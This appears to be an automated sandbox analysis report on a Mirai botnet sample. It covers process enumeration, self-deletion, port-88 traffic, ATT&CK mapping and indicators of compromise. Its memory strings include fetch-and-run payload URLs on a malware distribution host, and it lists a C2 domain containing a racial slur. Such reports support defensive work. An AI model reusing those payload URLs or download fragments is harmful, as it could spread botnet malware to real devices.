Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1699/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/113/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/234/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1335/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1698/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/114/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/235/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1334/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1576/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/2302/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/115/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/236/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/116/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/237/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/117/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/118/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/910/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/119/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/10/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/2307/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/11/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/12/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/12/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/jOXiR3R48P.elf (PID: 6231)

File: /tmp/jOXiR3R48P.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 41552 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 33112 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 46356 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 57734 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 55960 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 55960 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 55960 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 53454 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 40910 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 40910 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 40910 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 40910 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 37760 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 37760 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36576 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34182 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 37760 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 88 -> 34182
Source: unknown	Network traffic detected: HTTP traffic on port 88 -> 36576
Source: unknown	Network traffic detected: HTTP traffic on port 34660 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34660 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34660 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 44038 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 51950 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34660 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38818 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 88 -> 38818
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 48780 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 88 -> 48780
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 42404 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 88 -> 42404
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34660 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 54364 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 37744 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52524 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 35888 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 36398 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 34642 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 88

Source: /tmp/jOXiR3R48P.elf (PID: 6231)

Queries kernel information via 'uname':

Jump to behavior

Source: jOXiR3R48P.elf, 6231.1.00007ffe6b198000.00007ffe6b1b9000.rw-.sdmp, jOXiR3R48P.elf, 6235.1.00007ffe6b198000.00007ffe6b1b9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/jOXiR3R48P.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jOXiR3R48P.elf
Source: jOXiR3R48P.elf, 6231.1.00005608d1cfc000.00005608d1d83000.rw-.sdmp, jOXiR3R48P.elf, 6235.1.00005608d1cfc000.00005608d1d83000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: jOXiR3R48P.elf, 6231.1.00005608d1cfc000.00005608d1d83000.rw-.sdmp, jOXiR3R48P.elf, 6235.1.00005608d1cfc000.00005608d1d83000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: jOXiR3R48P.elf, 6231.1.00007ffe6b198000.00007ffe6b1b9000.rw-.sdmp, jOXiR3R48P.elf, 6235.1.00007ffe6b198000.00007ffe6b1b9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: jOXiR3R48P.elf, 6235.1.00007ffe6b198000.00007ffe6b1b9000.rw-.sdmp	Binary or memory string: V/tmp/qemu-open.6PPpNG
Source: jOXiR3R48P.elf, 6235.1.00007ffe6b198000.00007ffe6b1b9000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.6PPpNG

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: jOXiR3R48P.elf, type: SAMPLE
Source: Yara match	File source: 6235.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6231.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: jOXiR3R48P.elf, type: SAMPLE
Source: Yara match	File source: 6235.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6231.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
jOXiR3R48P.elf	41%	ReversingLabs	Linux.Trojan.Mirai
jOXiR3R48P.elf	39%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
dogeatingchink.uno	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://97.106.153.41:88/	0%	Avira URL Cloud	safe
http://93.131.164.195:88/	0%	Avira URL Cloud	safe
http://218.47.90.103:88/	0%	Avira URL Cloud	safe
http://218.38.42.103:88/	0%	Avira URL Cloud	safe
http://251.154.148.146:88/	0%	Avira URL Cloud	safe
http://45.66.230.47/bins/mips;	100%	Avira URL Cloud	malware
http://163.4.49.38:88/	0%	Avira URL Cloud	safe
http://221.222.144.112:88/	0%	Avira URL Cloud	safe
http://150.209.184.203:88/	0%	Avira URL Cloud	safe
http://117.14.252.37:88/	0%	Avira URL Cloud	safe
http://102.12.196.154:88/	0%	Avira URL Cloud	safe
http://249.236.191.163:88/	0%	Avira URL Cloud	safe
http://131.69.18.163:88/	0%	Avira URL Cloud	safe
http://100.139.155.164:88/	0%	Avira URL Cloud	safe
http://219.196.233.14:88/	0%	Avira URL Cloud	safe
http://65.90.128.57:88/	0%	Avira URL Cloud	safe
http://111.53.254.156:88/	0%	Avira URL Cloud	safe
http://98.76.83.172:88/	0%	Avira URL Cloud	safe
http://220.36.81.180:88/	0%	Avira URL Cloud	safe
http://203.104.254.156:88/	0%	Avira URL Cloud	safe
http://87.148.205.77:88/	0%	Avira URL Cloud	safe
http://230.178.255.103:88/	0%	Avira URL Cloud	safe
http://68.183.17.95/Messiah.mips;	0%	Avira URL Cloud	safe
http://45.66.230.47/bins/wget.sh$	100%	Avira URL Cloud	malware
http://118.212.228.91:88/	0%	Avira URL Cloud	safe
http://45.66.230.47/bins/x86	100%	Avira URL Cloud	malware
http://8.223.61.191:88/	0%	Avira URL Cloud	safe
http://151.213.171.72:88/	0%	Avira URL Cloud	safe
http://45.66.230.47/bins/wget.sh;sh$	100%	Avira URL Cloud	malware
http://213.139.65.172:88/	0%	Avira URL Cloud	safe
http://133.9.87.202:88/	0%	Avira URL Cloud	safe
http://45.66.230.47/wget.sh	100%	Avira URL Cloud	malware
http://197.146.153.59:88/	0%	Avira URL Cloud	safe
http://49.105.71.86:88/	0%	Avira URL Cloud	safe
http://2.221.61.191:88/	0%	Avira URL Cloud	safe
http://11.132.243.104:88/	0%	Avira URL Cloud	safe
http://218.96.190.35:88/	0%	Avira URL Cloud	safe
http://168.110.61.191:88/	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dogeatingchink.uno	45.12.253.12	true	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://97.106.153.41:88/	false	Avira URL Cloud: safe	unknown
http://218.47.90.103:88/	false	Avira URL Cloud: safe	unknown
http://218.38.42.103:88/	false	Avira URL Cloud: safe	unknown
http://93.131.164.195:88/	false	Avira URL Cloud: safe	unknown
http://251.154.148.146:88/	false	Avira URL Cloud: safe	unknown
http://163.4.49.38:88/	false	Avira URL Cloud: safe	unknown
http://221.222.144.112:88/	false	Avira URL Cloud: safe	unknown
http://150.209.184.203:88/	false	Avira URL Cloud: safe	unknown
http://117.14.252.37:88/	false	Avira URL Cloud: safe	unknown
http://102.12.196.154:88/	false	Avira URL Cloud: safe	unknown
http://249.236.191.163:88/	false	Avira URL Cloud: safe	unknown
http://131.69.18.163:88/	false	Avira URL Cloud: safe	unknown
http://219.196.233.14:88/	false	Avira URL Cloud: safe	unknown
http://100.139.155.164:88/	false	Avira URL Cloud: safe	unknown
http://65.90.128.57:88/	false	Avira URL Cloud: safe	unknown
http://111.53.254.156:88/	false	Avira URL Cloud: safe	unknown
http://98.76.83.172:88/	false	Avira URL Cloud: safe	unknown
http://220.36.81.180:88/	false	Avira URL Cloud: safe	unknown
http://203.104.254.156:88/	false	Avira URL Cloud: safe	unknown
http://87.148.205.77:88/	false	Avira URL Cloud: safe	unknown
http://230.178.255.103:88/	false	Avira URL Cloud: safe	unknown
http://118.212.228.91:88/	false	Avira URL Cloud: safe	unknown
http://8.223.61.191:88/	false	Avira URL Cloud: safe	unknown
http://151.213.171.72:88/	false	Avira URL Cloud: safe	unknown
http://213.139.65.172:88/	false	Avira URL Cloud: safe	unknown
http://133.9.87.202:88/	false	Avira URL Cloud: safe	unknown
http://197.146.153.59:88/	false	Avira URL Cloud: safe	unknown
http://49.105.71.86:88/	false	Avira URL Cloud: safe	unknown
http://2.221.61.191:88/	false	Avira URL Cloud: safe	unknown
http://168.110.61.191:88/	false	Avira URL Cloud: safe	unknown
http://218.96.190.35:88/	false	Avira URL Cloud: safe	unknown
http://11.132.243.104:88/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.66.230.47/bins/mips;	jOXiR3R48P.elf	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	jOXiR3R48P.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	jOXiR3R48P.elf	false		high
http://68.183.17.95/Messiah.mips;	jOXiR3R48P.elf	false	Avira URL Cloud: safe	unknown
http://45.66.230.47/bins/wget.sh$	jOXiR3R48P.elf	false	Avira URL Cloud: malware	unknown
http://45.66.230.47/bins/x86	jOXiR3R48P.elf	false	Avira URL Cloud: malware	unknown
http://45.66.230.47/bins/wget.sh;sh$	jOXiR3R48P.elf	false	Avira URL Cloud: malware	unknown
http://45.66.230.47/wget.sh	jOXiR3R48P.elf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
12.127.118.102	unknown	United States	7018	ATT-INTERNET4US	false
146.92.154.84	unknown	United States	18709	BOTWUS	false
17.88.248.2	unknown	United States	714	APPLE-ENGINEERINGUS	false
76.76.87.161	unknown	United States	39939	RISE-CO-AS39939US	false
179.153.48.20	unknown	Brazil	28573	CLAROSABR	false
161.249.2.125	unknown	United States	396269	BPL-ASNUS	false
1.17.85.152	unknown	Korea Republic of	45996	GNJ-AS-KRDAOUTECHNOLOGYKR	false
218.225.239.33	unknown	Japan	4686	BEKKOAMEBEKKOAMEINTERNETINCJP	false
157.190.234.145	unknown	Ireland	1213	HEANETIE	false
74.12.122.207	unknown	Canada	577	BACOMCA	false
223.39.144.233	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
104.193.213.248	unknown	Canada	203098	TECHNODATAGB	false
213.1.72.60	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
81.106.160.90	unknown	United Kingdom	5089	NTLGB	false
34.162.93.116	unknown	United States	2686	ATGS-MMD-ASUS	false
115.156.189.179	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
64.55.3.113	unknown	United States	2828	XO-AS15US	false
147.98.146.224	unknown	France	34006	VEEPEE-ASNFR	false
104.167.150.183	unknown	United States	54119	BOINGO-MDUUS	false
164.219.29.79	unknown	United States	5180	DNIC-ASBLK-05120-05376US	false
163.85.91.149	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
43.196.161.55	unknown	Japan	4249	LILLY-ASUS	false
96.138.117.98	unknown	United States	7922	COMCAST-7922US	false
128.31.39.3	unknown	United States	3	MIT-GATEWAYSUS	false
140.33.12.37	unknown	United States	668	DNIC-AS-00668US	false
217.143.5.219	unknown	Sweden	16253	BORDERLIGHT-ASVretgrand18SE	false
37.145.112.192	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
213.49.139.190	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
75.239.165.32	unknown	United States	22394	CELLCOUS	false
112.14.254.206	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
161.189.71.10	unknown	China	135629	WESTCLOUDDATANingxiaWestCloudDataTechnologyCoLtdCN	false
12.57.188.119	unknown	United States	7018	ATT-INTERNET4US	false
70.150.63.129	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
140.122.184.98	unknown	Taiwan; Republic of China (ROC)	38844	NTNU-TWNationalTaiwanNormalUniversityTW	false
77.49.2.5	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
76.12.54.107	unknown	United States	20021	LNH-INCUS	false
134.155.207.238	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
201.188.241.83	unknown	Chile	16629	CTCCORPSATELEFONICAEMPRESASCL	false
133.218.160.31	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
80.71.185.155	unknown	Russian Federation	21365	INTELECA-ASRussiaBarnaulRU	false
88.245.198.146	unknown	Turkey	9121	TTNETTR	false
63.168.236.33	unknown	United States	1239	SPRINTLINKUS	false
134.233.80.55	unknown	United States	531	DNIC-AS-00531US	false
62.132.193.122	unknown	Germany	286	KPNNL	false
79.142.36.241	unknown	Germany	47347	VC-ASDE	false
73.3.19.228	unknown	United States	7922	COMCAST-7922US	false
144.11.242.92	unknown	United States	58541	CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN	false
202.184.93.102	unknown	Malaysia	9930	TTNET-MYTIMEdotComBerhadMY	false
170.206.48.2	unknown	United States	11685	HNBCOL-ASUS	false
66.48.47.109	unknown	United States	701	UUNETUS	false
143.234.189.21	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
31.63.4.150	unknown	Poland	5617	TPNETPL	false
34.202.220.152	unknown	United States	14618	AMAZON-AESUS	false
51.44.255.70	unknown	United States	2686	ATGS-MMD-ASUS	false
203.131.233.134	unknown	Hong Kong	9293	HKNET-VIPNETNTTComAsiaLimitedHK	false
219.29.71.238	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
20.114.7.139	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
138.101.225.146	unknown	Japan	9593	NIKKEINikkeiIncJP	false
64.230.84.85	unknown	Canada	577	BACOMCA	false
52.213.156.23	unknown	United States	16509	AMAZON-02US	false
19.198.191.145	unknown	United States	3	MIT-GATEWAYSUS	false
213.37.142.121	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
24.67.122.2	unknown	Canada	6327	SHAWCA	false
46.127.139.92	unknown	Switzerland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
151.108.112.186	unknown	United States	1218	NCUBE-BELMONT-ASUS	false
117.250.79.202	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
